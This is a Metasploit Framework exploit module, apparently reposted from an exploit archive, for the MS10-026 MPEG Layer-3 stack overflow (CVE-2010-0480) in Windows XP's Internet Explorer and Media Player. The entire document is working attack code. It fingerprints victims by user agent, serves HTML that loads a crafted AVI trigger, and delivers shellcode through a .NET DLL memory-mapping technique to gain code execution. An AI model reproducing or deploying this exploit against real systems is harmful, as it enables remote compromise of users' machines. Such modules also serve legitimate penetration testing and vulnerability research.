MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow

Related Vulnerabilities: CVE-2010-0480  
Publish Date: 13 Aug 2011
                							

                ##
# $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
      'Description'    => %q{
          This module exploits a buffer overlow in l3codecx.ax while processing a
        AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
        with 0's so the three least significant bytes of EIP saved on stack are
        overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
        by Alexander Sotirov and Mark Dowd.

        Please note on IE 8 targets, your malicious URL must be a trusted site in order
        to load the .Net control.
      },
      'Author'         =>
        [
          'Yamata Li', # Vulnerability Discovery
          'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit
          'juan vazquez', # Metasploit module
          'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 13555 $',
      'References'     =>
        [
          ['CVE', '2010-0480'],
          ['OSVDB', '63749'],
          ['BID', '39303'],
          ['MSB', 'MS10-026'],
          ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
          ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
        ],
      'Payload'        =>
        {
          'Space'    => 4000
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Targets'        =>
        [
          # Target 0: Automatic
          # Tested with:
          # Windows XP SP3 English IE 6
          # Windows XP SP3 English IE 7
          # Windows XP SP3 English IE 8: The exploiting site must be a trusted
          # site to load the .NET control
          # .NET CLR required
          [
            'Windows XP SP3 Automatic',
            {
              'Platform' => 'win',
              'Ret' => 0x72000000
            },
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 13 2010'))
  end

  def exploit
    # Embed our payload in a .Net binary
    ibase = target.ret - 0x10000
    shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
    shellcode << payload.encoded

    #Use our own custom .Net binary, because we require a much bigger file
    #to land our payload at the right place
    opts = {
      :template    => 'template_dotnetmem.dll',
      :text_offset => 0x1285,
      :text_max    => 0x20000,
      :pack        => 'a131072',
      :uuid_offset => 135816
    }

    @dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)

    # Load our AVI file
    path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
    f = File.open(path, "rb")
    @trigger = f.read(f.stat.size)
    f.close

    super
  end

  def on_request_uri(cli, request)

    agent = request['User-Agent']
    case request['User-Agent']
      when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
      when /Windows-Media-Player/
        # AVI is requested by WMP
      else
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}")
        return
    end

    if (request.uri =~ /\.html/i)
      avi_name = rand_text_alpha(4)
      avi_trigger = ""

      if ("/" == get_resource[-1,1])
        avi_trigger = get_resource[0, get_resource.length - 1]
      else
        avi_trigger = get_resource
      end

      avi_trigger << "/#{avi_name}.avi"

      html = %Q|<html>
      <body>
      <OBJECT ID="MediaPlayer"
      CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
      CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
      Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
      TYPE="application/x-oleobject" width="280" height="46">
        <param name="fileName" value="#{avi_trigger}">
        <param name="animationatStart" value="true">
        <param name="transparentatStart" value="true">
        <param name="autoStart" value="true">
        <param name="showControls" value="true">
        <param name="Volume" value="-300">
      <embed type="application/x-mplayer2"
        pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
        src="#{avi_trigger}"
        name="MediaPlayer"
        width=280
        height=46
        autostart=1
        showcontrols=1
        volume=-300>
      </embed>
      </OBJECT>
      </body>
      </html>
      |

      html = html.gsub(/^\t\t\t/, '')

      print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...")
      send_response_html(cli, html)

    elsif (request.uri =~ /\.avi$/i)

      print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..."
      send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
      return

    elsif (request.uri =~ /\.dll$/i)

      print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..."
      send_response(
        cli,
        @dotnet_payload,
        {
          'Content-Type' => 'application/x-msdownload',
          'Connection'   => 'close',
          'Pragma'       => 'no-cache'
        }
      )
      return

    end

    html_name = rand_text_alpha(4)
    dll_uri = ""
    html_trigger = ""

    if ("/" == get_resource[-1,1])
      dll_uri = get_resource[0, get_resource.length - 1]
      html_trigger = get_resource[0, get_resource.length - 1]
    else
      dll_uri = get_resource
      html_trigger = get_resource
    end

    dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
    js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
    html_trigger << "/#{html_name}.html"

    html  = %Q|<html>
    <head>
    <script language="javascript">
      function forward() {
        window.location = window.location + '#{html_trigger}';
      }

      function start() {
        setTimeout("forward()", 2000);
      }
    </script>
    </head>
    <body onload="start()">
    <object classid="#{dll_uri}#GenericControl">
    <object>
    </body>
    </html>
    |

    html = html.gsub(/^\t\t/, '')

    print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
    send_response_html(cli, html)
  end

end
<p>